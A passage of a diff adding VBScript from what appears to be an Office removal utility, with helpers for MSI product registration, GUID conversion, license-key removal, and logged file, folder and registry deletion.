+            oReg.SetDWordValue HKCR,sCurKey,"Assignment",1
+            oReg.SetDWordValue HKCR,sCurKey,"AuthorizedLUAApp",0
+            oReg.SetStringValue HKCR,sCurKey,"Clients",":"
+            oReg.SetDWordValue HKCR,sCurKey,"DeploymentFlags",3
+            oReg.SetDWordValue HKCR,sCurKey,"InstanceType",0
+            oReg.SetDWordValue HKCR,sCurKey,"Language",sLang
+            oReg.SetStringValue HKCR,sCurKey,"PackageCode",GetMsiPackageCode(sMsiFile)
+            oReg.SetStringValue HKCR,sCurKey,"ProductName",sDisplayName
+            oReg.SetDWordValue HKCR,sCurKey,"VersionMinor",0
+            sCurKey = sTmpKey & "\SourceList"
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetExpandedStringValue HKCR,sCurKey,"LastUsedSource",sScrubDir
+            oReg.SetStringValue HKCR,sCurKey,"PackageName",Mid(sMsiFile,InstrRev(sMsiFile,"\")+1)
+            sCurKey = sTmpKey & "\SourceList\Media"
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetStringValue HKCR,sCurKey,"1",OREF & ";1"
+            oReg.SetStringValue HKCR,sCurKey,"DiskPrompt",sDisplayName
+            sCurKey = sTmpKey & "\SourceList\Net"
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetExpandedStringValue HKCR,sCurKey,"1",sScrubDir
+
+        Case Else
+        End Select
+        If iCnt <3 Then
+            oReg.SetStringValue HKLM,sCurKey,"Comments",""
+            oReg.SetStringValue HKLM,sCurKey,"Contact",""
+            oReg.SetStringValue HKLM,sCurKey,"DisplayName",sDisplayName
+            oReg.SetStringValue HKLM,sCurKey,"DisplayVersion",sDisplayVersion
+            oReg.SetDWordValue HKLM,sCurKey,"EstimatedSize",0
+            oReg.SetStringValue HKLM,sCurKey,"HelpLink",""
+            oReg.SetStringValue HKLM,sCurKey,"HelpTelephone",""
+            oReg.SetStringValue HKLM,sCurKey,"InstallDate","20100101"
+            If f64 Then
+                oReg.SetStringValue HKLM,sCurKey,"InstallLocation",sProgramFilesX86
+            Else
+                oReg.SetStringValue HKLM,sCurKey,"InstallLocation",sProgramFiles
+            End If
+            oReg.SetStringValue HKLM,sCurKey,"InstallSource",sScrubDir
+            oReg.SetDWordValue HKLM,sCurKey,"Language",sLang
+            oReg.SetExpandedStringValue HKLM,sCurKey,"ModifyPath","MsiExec.exe /X" & sProductCode
+            oReg.SetDWordValue HKLM,sCurKey,"NoModify",1
+            oReg.SetStringValue HKLM,sCurKey,"Publisher","Microsoft Corporation"
+            oReg.SetStringValue HKLM,sCurKey,"Readme",""
+            oReg.SetStringValue HKLM,sCurKey,"Size",""
+            oReg.SetDWordValue HKLM,sCurKey,"SystemComponent",0
+            oReg.SetExpandedStringValue HKLM,sCurKey,"UninstallString","MsiExec.exe /X" & sProductCode
+            oReg.SetStringValue HKLM,sCurKey,"URLInfoAbout",""
+            oReg.SetStringValue HKLM,sCurKey,"URLUpdateInfo",""
+            oReg.SetDWordValue HKLM,sCurKey,"Version",0
+            oReg.SetDWordValue HKLM,sCurKey,"VersionMajor",OVERSIONMAJOR
+            oReg.SetDWordValue HKLM,sCurKey,"VersionMinor",0
+            oReg.SetDWordValue HKLM,sCurKey,"WindowsInstaller",1
+        End If '< 3
+    Next 'iCnt
+
+End Sub 'MsiRegisterProduct
+'=======================================================================================================
+
+'Obtain the ProductCode (GUID) from a .msi package
+'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
+Function GetMsiProductCode(sMsiFile)
+
+    Dim MsiDb,Record
+    Dim qView
+
+    On Error Resume Next
+
+    GetMsiProductCode = ""
+    Set Record = Nothing
+
+    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductCode'")
+    qView.Execute
+    Set Record = qView.Fetch
+    GetMsiProductCode = Record.StringData(1)
+    qView.Close
+
+End Function 'GetMsiProductCode
+'=======================================================================================================
+
+'Obtain the ProductVersion from a .msi package
+'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
+Function GetMsiProductVersion(sMsiFile)
+
+    Dim MsiDb,Record
+    Dim qView
+
+    On Error Resume Next
+
+    GetMsiProductVersion = ""
+    Set Record = Nothing
+
+    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductVersion'")
+    qView.Execute
+    Set Record = qView.Fetch
+    GetMsiProductVersion = Record.StringData(1)
+    qView.Close
+
+End Function 'GetMsiProductVersion
+'=======================================================================================================
+
+'Obtain the ProductVersion from a .msi package
+'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
+Function GetMsiProductName(sMsiFile)
+
+    Dim MsiDb,Record
+    Dim qView
+
+    On Error Resume Next
+
+    GetMsiProductName = ""
+    Set Record = Nothing
+
+    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductName'")
+    qView.Execute
+    Set Record = qView.Fetch
+    GetMsiProductName = Record.StringData(1)
+    qView.Close
+
+End Function 'GetMsiProductVersion
+'=======================================================================================================
+
+'Obtain the PackageCode (GUID) from a .msi package
+'The function will the .msi'S SummaryInformation stream
+Function GetMsiPackageCode(sMsiFile)
+
+    On Error Resume Next
+
+    Const PID_REVNUMBER = 9
+
+    GetMsiPackageCode = ""
+    GetMsiPackageCode = GetCompressedGuid(oMsi.SummaryInformation(sMsiFile,MSIOPENDATABASEREADONLY).Property(PID_REVNUMBER))
+
+End Function 'GetMsiPackageCode
+'=======================================================================================================
+
+'Returns a string with a list of ProductCodes from the summary information stream
+Function MspTargets (sMspFile)
+    Const MSIOPENDATABASEMODE_PATCHFILE = 32
+    Const PID_TEMPLATE                  =  7
+
+    Dim Msp
+    'Non critical routine. Don't fail on error
+    On Error Resume Next
+    MspTargets = ""
+    If oFso.FileExists(sMspFile) Then
+        Set Msp = Msi.OpenDatabase(WScript.Arguments(0),MSIOPENDATABASEMODE_PATCHFILE)
+        If Err = 0 Then MspTargets = Msp.SummaryInformation.Property(PID_TEMPLATE)
+    End If 'oFso.FileExists(sMspFile)
+End Function 'MspTargets
+'=======================================================================================================
+
+'Return the ProductCode {{GUID} from a .MSI package
+Function ProductCode(sMsi)
+    Const MSIUILEVELNONE = 2 'No UI
+    Dim MsiSession
+
+    On Error Resume Next
+    'Non critical routine. Don't fail on error
+    If oFso.FileExists(sMsi) Then
+        oMsi.UILevel = MSIUILEVELNONE
+        Set MsiSession = oMsi.OpenPackage(sMsi,1)
+        ProductCode = MsiSession.ProductProperty("ProductCode")
+        Set MsiSession = Nothing
+    Else
+        ProductCode = ""
+    End If 'oFso.FileExists(sMsi)
+End Function 'ProductCode
+'=======================================================================================================
+
+Function GetUpgradeCode(sGuid)
+
+    'Ensure Valid Length
+    If NOT Len(sGuid) = 38 Then Exit Function
+
+    GetUpgradeCode = "{{00" & Mid(sGuid, 4, 2) & "0000-" & Mid(sGuid, 11, 4) & "-0000-" & Mid(sGuid, 21, 1) & "000-" & Mid(sGuid, 26, 1) & "000000FF1CE}"
+
+End Function 'GetUpgradeCode
+'=======================================================================================================
+
+Function GetExpandedGuid (sGuid)
+    Dim i
+
+    'Ensure valid length
+    If NOT Len(sGuid) = 32 Then Exit Function
+
+    GetExpandedGuid = "{{" & StrReverse(Mid(sGuid,1,8)) & "-" & _
+                       StrReverse(Mid(sGuid,9,4)) & "-" & _
+                       StrReverse(Mid(sGuid,13,4))& "-"
+    For i = 17 To 20
+	    If i Mod 2 Then
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i + 1),1)
+	    Else
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i - 1),1)
+	    End If
+    Next
+    GetExpandedGuid = GetExpandedGuid & "-"
+    For i = 21 To 32
+	    If i Mod 2 Then
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i + 1),1)
+	    Else
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i - 1),1)
+	    End If
+    Next
+    GetExpandedGuid = GetExpandedGuid & "}"
+End Function
+'=======================================================================================================
+
+'Converts a GUID into the compressed format
+Function GetCompressedGuid (sGuid)
+    Dim sCompGUID
+    Dim i
+
+    'Ensure Valid Length
+    If NOT Len(sGuid) = 38 Then Exit Function
+
+    sCompGUID = StrReverse(Mid(sGuid,2,8))  & _
+                StrReverse(Mid(sGuid,11,4)) & _
+                StrReverse(Mid(sGuid,16,4))
+    For i = 21 To 24
+	    If i Mod 2 Then
+		    sCompGUID = sCompGUID & Mid(sGuid, (i + 1), 1)
+	    Else
+		    sCompGUID = sCompGUID & Mid(sGuid, (i - 1), 1)
+	    End If
+    Next
+    For i = 26 To 37
+	    If i Mod 2 Then
+		    sCompGUID = sCompGUID & Mid(sGuid, (i - 1), 1)
+	    Else
+		    sCompGUID = sCompGUID & Mid(sGuid, (i + 1), 1)
+	    End If
+    Next
+    GetCompressedGuid = sCompGUID
+End Function
+'=======================================================================================================
+
+'Unsquish GUID
+Function GetDecodedGuid(sEncGuid, sGuid)
+
+Dim sDecode, sTable, sHex, iChr
+Dim arrTable
+Dim i, iAsc, pow85, decChar
+Dim lTotal
+Dim fFailed
+
+    fFailed = False
+
+    sTable =    "0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff," & _
+                "0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff," & _
+                "0xff,0x00,0xff,0xff,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0xff," & _
+                "0x0c,0x0d,0x0e,0x0f,0x10,0x11,0x12,0x13,0x14,0x15,0xff,0xff,0xff,0x16,0xff,0x17," & _
+                "0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27," & _
+                "0x28,0x29,0x2a,0x2b,0x2c,0x2d,0x2e,0x2f,0x30,0x31,0x32,0x33,0xff,0x34,0x35,0x36," & _
+                "0x37,0x38,0x39,0x3a,0x3b,0x3c,0x3d,0x3e,0x3f,0x40,0x41,0x42,0x43,0x44,0x45,0x46," & _
+                "0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0xff,0x53,0x54,0xff"
+    arrTable = Split(sTable,",")
+    lTotal = 0 : pow85 = 1
+    For i = 0 To 19
+        fFailed = True
+        If i Mod 5 = 0 Then
+            lTotal = 0 : pow85 = 1
+        End If ' i Mod 5 = 0
+        iAsc = Asc(Mid(sEncGuid,i+1,1))
+        sHex = arrTable(iAsc)
+        If iAsc >=128 Then Exit For
+        If sHex = "0xff" Then Exit For
+        iChr = CInt("&h"&Right(sHex,2))
+        lTotal = lTotal + (iChr * pow85)
+        If i Mod 5 = 4 Then sDecode = sDecode & DecToHex(lTotal)
+        pow85 = pow85 * 85
+        fFailed = False
+    Next 'i
+    If NOT fFailed Then sGuid = "{{"&Mid(sDecode,1,8)&"-"& _
+                                Mid(sDecode,13,4)&"-"& _
+                                Mid(sDecode,9,4)&"-"& _
+                                Mid(sDecode,23,2) & Mid(sDecode,21,2)&"-"& _
+                                Mid(sDecode,19,2) & Mid(sDecode,17,2) & Mid(sDecode,31,2) & Mid(sDecode,29,2) & Mid(sDecode,27,2) & Mid(sDecode,25,2) &"}"
+
+    GetDecodedGuid = NOT fFailed
+
+End Function 'GetDecodedGuid
+'=======================================================================================================
+
+'Convert a long decimal to hex
+Function DecToHex(lDec)
+
+    Dim sHex
+    Dim iLen
+    Dim lVal, lExp
+    Dim arrChr
+
+    arrChr = Array("0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F")
+    sHex = ""
+    lVal = lDec
+    lExp = 16^10
+    While lExp >= 1
+        If lVal >= lExp Then
+            sHex = sHex & arrChr(Int(lVal / lExp))
+            lVal = lVal - lExp * Int(lVal / lExp)
+        Else
+            sHex = sHex & "0"
+            If sHex = "0" Then sHex = ""
+        End If
+        lExp = lExp / 16
+    Wend
+
+    iLen = 8 - Len(sHex)
+    If iLen > 0 Then sHex = String(iLen,"0") & sHex
+    DecToHex = sHex
+End Function
+'=======================================================================================================
+
+'Ensures that only valid metadata entries exist to avoid API failures
+Sub EnsureValidWIMetadata (hDefKey,sKey,iValidLength)
+
+Dim arrKeys
+Dim SubKey
+
+If Len(sKey) > 1 Then
+    If Right(sKey,1) = "\" Then sKey = Left(sKey,Len(sKey)-1)
+End If
+
+If RegEnumKey(hDefKey,sKey,arrKeys) Then
+    For Each SubKey in arrKeys
+        If NOT Len(SubKey) = iValidLength Then
+            RegDeleteKey hDefKey,sKey & "\" & SubKey & "\"
+        End If
+    Next 'SubKey
+End If
+
+End Sub 'EnsureValidWIMetadata
+'=======================================================================================================
+
+'-------------------------------------------------------------------------------
+'   CleanOSPP
+'
+'   Clean out licenses from the Office Software Protection Platform
+'-------------------------------------------------------------------------------
+Sub CleanOSPP
+    Dim oProductInstances, pi
+    Dim sCleanOSPP, sCmd, sRetVal
+
+    CONST OfficeAppId = "0ff1ce15-a989-479d-af46-f275c6370663"  'Office 2013
+
+    sCleanOSPP = "x64\CleanOSPP.exe"
+    If Not f64 Then sCleanOSPP = "x86\CleanOSPP.exe"
+    If oFso.FileExists(sScriptDir & sCleanOSPP) Then
+        sCmd = sScriptDir & sCleanOSPP
+        Log "   Running: " & sCmd
+        On Error Resume Next
+        sRetVal = oWShell.Run(sCmd, 0, True)
+        Log "   Return value: " & sRetVal
+        On Error Goto 0
+        Exit Sub
+    End If
+
+    On Error Resume Next
+    ' Initialize the software protection platform object with a filter on Office 2013 products
+    If iVersionNT > 601 Then
+        Set oProductInstances = oWmiLocal.ExecQuery("SELECT ID, ApplicationId, PartialProductKey, Name, ProductKeyID FROM SoftwareLicensingProduct WHERE ApplicationId = '" & OfficeAppId & "' " & "AND PartialProductKey <> NULL")
+    Else
+        Set oProductInstances = oWmiLocal.ExecQuery("SELECT ID, ApplicationId, PartialProductKey, Name, ProductKeyID FROM OfficeSoftwareProtectionProduct WHERE ApplicationId = '" & OfficeAppId & "' " & "AND PartialProductKey <> NULL")
+    End If
+
+    ' Remove all licenses
+    For Each pi in oProductInstances
+        If NOT IsNull(pi) Then
+            pi.UninstallProductKey( pi.ProductKeyID)
+        End If
+    Next 'pi
+
+End Sub 'CleanOSPP
+'=======================================================================================================
+
+
+'Create a backup copy of the file in the ScrubDir then delete the file
+Sub CopyAndDeleteFile(sFile)
+    Dim File
+
+    'Error handling inlined
+    On Error Resume Next
+    If oFso.FileExists(sFile) Then
+        Set File = oFso.GetFile(sFile)
+        If Not oFso.FolderExists(sScrubDir & "\" & File.ParentFolder.Name) Then oFso.CreateFolder sScrubDir & "\" & File.ParentFolder.Name
+        If Not fDetectOnly Then
+            LogOnly " - Backing up file: " & sFile
+            oFso.CopyFile sFile,sScrubDir & "\" & File.ParentFolder.Name & "\" & File.Name,True : CheckError "CopyAndDeleteFile"
+            Set File = Nothing
+            DeleteFile(sFile)
+        Else
+            LogOnly " - Simulate CopyAndDelete file: " & sFile
+        End If
+    End If 'oFso.FileExists
+End Sub 'CopyAndDeleteFile
+'=======================================================================================================
+
+'Wrapper to delete a file
+Sub DeleteFile(sFile)
+    Dim File
+    Dim sFileName, sNewPath
+
+    On Error Resume Next
+
+    If dictionaryKeepFolder.Exists(LCase(sFile)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFile
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFile
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepFolder.Exists(LCase(Wow64Folder(sFile))) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFile
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFile
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+        End If
+    End If
+
+    If oFso.FileExists(sFile) Then
+        LogOnly " - Delete file: " & sFile
+        If Not fDetectOnly Then oFso.DeleteFile sFile,True
+        If Err <> 0 Then
+            CheckError "DeleteFile"
+            If fForce Then
+                'Try to move the file and delete from there
+                Set File = oFso.GetFile(sFile)
+                sFileName = File.Name
+                sNewPath = sScrubDir & "\ScrubTmp"
+                Set File = Nothing
+                If Not oFso.FolderExists(sNewPath) Then oFso.CreateFolder(sNewPath)
+                'Move the file
+                LogOnly " - Move file to: " & sNewPath & "\" & sFileName
+                oFso.MoveFile sFile,sNewPath & "\" & sFileName
+                If Err <> 0 Then
+                    CheckError "DeleteFile (move)"
+                End If 'Err <> 0
+            Else
+                fRebootRequired = True
+            End If 'fForce
+        End If 'Err <> 0
+    End If 'oFso.FileExists
+End Sub 'DeleteFile
+'=======================================================================================================
+
+'64 bit aware wrapper to return the requested folder
+Function GetFolderPath(sPath)
+    GetFolderPath = True
+    If oFso.FolderExists(sPath) Then Exit Function
+    If f64 AND oFso.FolderExists(Wow64Folder(sPath)) Then
+        sPath = Wow64Folder(sPath)
+        Exit Function
+    End If
+    GetFolderPath = False
+End Function 'GetFolderPath
+'=======================================================================================================
+
+'Enumerates subfolder names of a folder and returns True if subfolders exist
+Function EnumFolderNames (sFolder, arrSubFolders)
+    Dim Folder, Subfolder
+    Dim sSubFolders
+
+    If oFso.FolderExists(sFolder) Then
+        Set Folder = oFso.GetFolder(sFolder)
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Name & ","
+        Next 'Subfolder
+    End If
+    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        Set Folder = oFso.GetFolder(Wow64Folder(sFolder))
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Name & ","
+        Next 'Subfolder
+    End If
+    If Len(sSubFolders)>0 Then arrSubFolders = RemoveDuplicates(Split(Left(sSubFolders,Len(sSubFolders)-1),","))
+    EnumFolderNames = Len(sSubFolders)>0
+End Function 'EnumFolderNames
+'=======================================================================================================
+
+'Enumerates subfolders of a folder and returns True if subfolders exist
+Function EnumFolders (sFolder, arrSubFolders)
+    Dim Folder, Subfolder
+    Dim sSubFolders
+
+    If oFso.FolderExists(sFolder) Then
+        Set Folder = oFso.GetFolder(sFolder)
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Path & ","
+        Next 'Subfolder
+    End If
+    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        Set Folder = oFso.GetFolder(Wow64Folder(sFolder))
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Path & ","
+        Next 'Subfolder
+    End If
+    If Len(sSubFolders)>0 Then arrSubFolders = RemoveDuplicates(Split(Left(sSubFolders,Len(sSubFolders)-1),","))
+    EnumFolders = Len(sSubFolders)>0
+End Function 'EnumFolders
+'=======================================================================================================
+
+Sub GetMseFolderStructure (Folder)
+    Dim SubFolder
+
+    For Each SubFolder in Folder.SubFolders
+        ReDim Preserve arrMseFolders(UBound(arrMseFolders)+1)
+        arrMseFolders(UBound(arrMseFolders)) = SubFolder.Path
+        GetMseFolderStructure SubFolder
+    Next 'SubFolder
+End Sub 'GetMseFolderStructure
+'=======================================================================================================
+
+'Wrapper to delete a folder
+Sub DeleteFolder(sFolder)
+    Dim Folder
+    Dim sDelFolder, sFolderName, sNewPath
+
+    'Ensure trailing "\"
+    sFolder = sFolder & "\"
+    While InStr(sFolder,"\\")>0
+        sFolder = Replace(sFolder,"\\","\")
+    Wend
+
+    If dictionaryKeepFolder.Exists(LCase(sFolder)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFolder
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFolder
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepFolder.Exists(LCase(Wow64Folder(sFolder))) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFolder
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFolder
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+        End If
+    End If
+
+    'Strip trailing "\"
+    If Len(sFolder) > 1 Then
+        sFolder = Left(sFolder,Len(sFolder)-1)
+    End If
+
+    On Error Resume Next
+    If oFso.FolderExists(sFolder) Then
+        sDelFolder = sFolder
+    ElseIf f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        sDelFolder = Wow64Folder(sFolder)
+    Else
+        Exit Sub
+    End If
+    If Not fDetectOnly Then
+        LogOnly " - Delete folder: " & sDelFolder
+        oFso.DeleteFolder sDelFolder,True
+    Else
+        LogOnly " - Simulate delete folder: " & sDelFolder
+    End If
+    If Err <> 0 Then
+        CheckError "DeleteFolder"
+        'Try to move the folder and delete from there
+        Set Folder = oFso.GetFolder(sDelFolder)
+        sFolderName = Folder.Name
+        sNewPath = sScrubDir & "\ScrubTmp"
+        Set Folder = Nothing
+        'Ensure we stay within the same drive
+        If Not oFso.FolderExists(sNewPath) Then oFso.CreateFolder(sNewPath)
+        'Move the folder
+        LogOnly " - Moving folder to: " & sNewPath & "\" & sFolderName
+        oFso.MoveFolder sFolder,sNewPath & "\" & sFolderName
+        If Err <> 0 Then
+            CheckError "DeleteFolder (move)"
+        End If 'Err <> 0
+    End If 'Err <> 0
+End Sub 'DeleteFolder
+'=======================================================================================================
+
+'Delete empty folder structures
+Sub DeleteEmptyFolders
+    Dim Folder
+    Dim sFolder
+
+    ' cosmetic' task don't fail on error
+    On Error Resume Next
+    If Not IsArray(arrDeleteFolders) Then Exit Sub
+    Log vbCrLf & "Empty Folder Cleanup"
+    For Each sFolder in arrDeleteFolders
+        If oFso.FolderExists(sFolder) Then
+            Set Folder = oFso.GetFolder(sFolder)
+            If CBool(Folder.Attributes AND 1024) Then
+                'exclude protected folder
+            Else
+                If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
+                    Set Folder = Nothing
+                    SmartDeleteFolder sFolder
+                End If
+            End If
+        End If
+    Next 'sFolder
+    CheckError "DeleteEmptyFolders"
+    On Error Goto 0
+End Sub 'DeleteEmptyFolders
+'=======================================================================================================
+
+'Delete indivdual empty folder structures
+Sub DeleteEmptyFolder (sFolder)
+    Dim Folder
+
+    ' cosmetic' task don't fail on error
+    On Error Resume Next
+    If oFso.FolderExists(sFolder) Then
+        Set Folder = oFso.GetFolder(sFolder)
+        If CBool(Folder.Attributes AND 1024) Then
+            'exclude protected folder
+        Else
+            If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
+                Set Folder = Nothing
+                SmartDeleteFolder sFolder
+            End If
+        End If
+    End If
+
+    CheckError "DeleteEmptyFolder"
+    On Error Goto 0
+End Sub 'DeleteEmptyFolder
+'=======================================================================================================
+
+'Wrapper to delete a folder and remove the empty parent folder structure
+Sub SmartDeleteFolder(sFolder)
+    If oFso.FolderExists(sFolder) Then
+        If Not fDetectOnly Then
+            LogOnly "  Request SmartDelete for folder: " & sFolder
+            SmartDeleteFolderEx sFolder
+        Else
+            LogOnly "  Simulate request SmartDelete for folder: " & sFolder
+        End If
+    End If
+    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        If Not fDetectOnly Then
+            LogOnly "Request SmartDelete for folder: " & Wow64Folder(sFolder)
+            SmartDeleteFolderEx Wow64Folder(sFolder)
+        Else
+            LogOnly "Simulate request SmartDelete for folder: " & Wow64Folder(sFolder)
+        End If
+    End If
+End Sub 'SmartDeleteFolder
+'=======================================================================================================
+
+'Executes the folder delete operation
+Sub SmartDeleteFolderEx(sFolder)
+    Dim Folder
+
+    On Error Resume Next
+    DeleteFolder sFolder : CheckError "SmartDeleteFolderEx"
+    On Error Goto 0
+    Set Folder = oFso.GetFolder(oFso.GetParentFolderName(sFolder))
+    If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then SmartDeleteFolderEx(Folder.Path)
+End Sub 'SmartDeleteFolderEx
+'=======================================================================================================
+
+'Adds the folder structure to the 'KeepFolder' dictionary
+Sub AddKeepFolder(sPath)
+
+    Dim Folder
+
+    'Ensure trailing "\"
+    sPath = LCase(sPath) & "\"
+    While InStr(sPath,"\\")>0
+        sPath = Replace(sPath,"\\","\")
+    Wend
+
+    If NOT dictionaryKeepFolder.Exists (sPath) Then
+        dictionaryKeepFolder.Add sPath,sPath
+    Else
+        Exit Sub
+    End If
+    sPath = LCase(oFso.GetParentFolderName(sPath)) & "\"
+    If oFso.FolderExists(sPath) Then AddKeepFolder(sPath)
+End Sub
+'=======================================================================================================
+
+'Handles additional folder-path operations on 64 bit environments
+Function Wow64Folder(sFolder)
+    If LCase(Left(sFolder,Len(sWinDir & "\System32"))) = LCase(sWinDir & "\System32") Then
+        Wow64Folder = sWinDir & "\syswow64" & Right(sFolder,Len(sFolder)-Len(sSys32Dir))
+    ElseIf LCase(Left(sFolder,Len(sProgramFiles))) = LCase(sProgramFiles) Then
+        Wow64Folder = sProgramFilesX86 & Right(sFolder,Len(sFolder)-Len(sProgramFiles))
+    Else
+        Wow64Folder = "?" 'Return invalid string to ensure the folder cannot exist
+    End If
+End Function 'Wow64Folder
+'=======================================================================================================
+
+Function HiveString(hDefKey)
+    On Error Resume Next
+    Select Case hDefKey
+        Case HKCR : HiveString = "HKEY_CLASSES_ROOT"
+        Case HKCU : HiveString = "HKEY_CURRENT_USER"
+        Case HKLM : HiveString = "HKEY_LOCAL_MACHINE"
+        Case HKU  : HiveString = "HKEY_USERS"
+        Case Else : HiveString = hDefKey
+    End Select
+End Function
+'=======================================================================================================
+
+Function RegKeyExists(hDefKey,sSubKeyName)
+    Dim arrKeys
+    RegKeyExists = False
+    If oReg.EnumKey(hDefKey,sSubKeyName,arrKeys) = 0 Then RegKeyExists = True
+End Function
+'=======================================================================================================
+
+Function RegValExists(hDefKey,sSubKeyName,sName)
+    Dim arrValueTypes, arrValueNames
+    Dim i
+
+    RegValExists = False
+    If Not RegKeyExists(hDefKey,sSubKeyName) Then Exit Function
+    If sName = "" Then
+        RegValExists = True
+        Exit Function
+    End If
+    If oReg.EnumValues(hDefKey,sSubKeyName,arrValueNames,arrValueTypes) = 0 AND IsArray(arrValueNames) Then
+        For i = 0 To UBound(arrValueNames)
+            If LCase(arrValueNames(i)) = Trim(LCase(sName)) Then RegValExists = True
+        Next
+    End If 'oReg.EnumValues
+End Function
+'=======================================================================================================
+
+'Read the value of a given registry entry
+Function RegReadValue(hDefKey, sSubKeyName, sName, sValue, sType)
+    Dim RetVal
+    Dim Item
+    Dim arrValues
+
+    Select Case UCase(sType)
+        Case "1","REG_SZ"
+            RetVal = oReg.GetStringValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case "2","REG_EXPAND_SZ"
+            RetVal = oReg.GetExpandedStringValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetExpandedStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case "7","REG_MULTI_SZ"
+            RetVal = oReg.GetMultiStringValue(hDefKey,sSubKeyName,sName,arrValues)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetMultiStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,arrValues)
+            If RetVal = 0 Then sValue = Join(arrValues,chr(34))
+
+        Case "4","REG_DWORD"
+            RetVal = oReg.GetDWORDValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then
+                RetVal = oReg.GetDWORDValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+            End If
+
+        Case "3","REG_BINARY"
+            RetVal = oReg.GetBinaryValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetBinaryValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case "11","REG_QWORD"
+            RetVal = oReg.GetQWORDValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetQWORDValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case Else
+            RetVal = -1
+    End Select 'sValue
+
+    RegReadValue = (RetVal = 0)
+End Function 'RegReadValue
+'=======================================================================================================
+
+'Enumerate a registry key to return all values
+Function RegEnumValues(hDefKey,sSubKeyName,arrNames, arrTypes)
+    Dim RetVal, RetVal64
+    Dim arrNames32, arrNames64, arrTypes32, arrTypes64
+
+    If f64 Then
+        RetVal = oReg.EnumValues(hDefKey,sSubKeyName,arrNames32,arrTypes32)
+        RetVal64 = oReg.EnumValues(hDefKey,Wow64Key(hDefKey, sSubKeyName),arrNames64,arrTypes64)
+        If (RetVal = 0) AND (Not RetVal64 = 0) AND IsArray(arrNames32) AND IsArray(arrTypes32) Then
+            arrNames = arrNames32
+            arrTypes = arrTypes32
+        End If
+        If (Not RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrNames64) AND IsArray(arrTypes64) Then
+            arrNames = arrNames64
+            arrTypes = arrTypes64
+        End If
+        If (RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrNames32) AND IsArray(arrNames64) AND IsArray(arrTypes32) AND IsArray(arrTypes64) Then
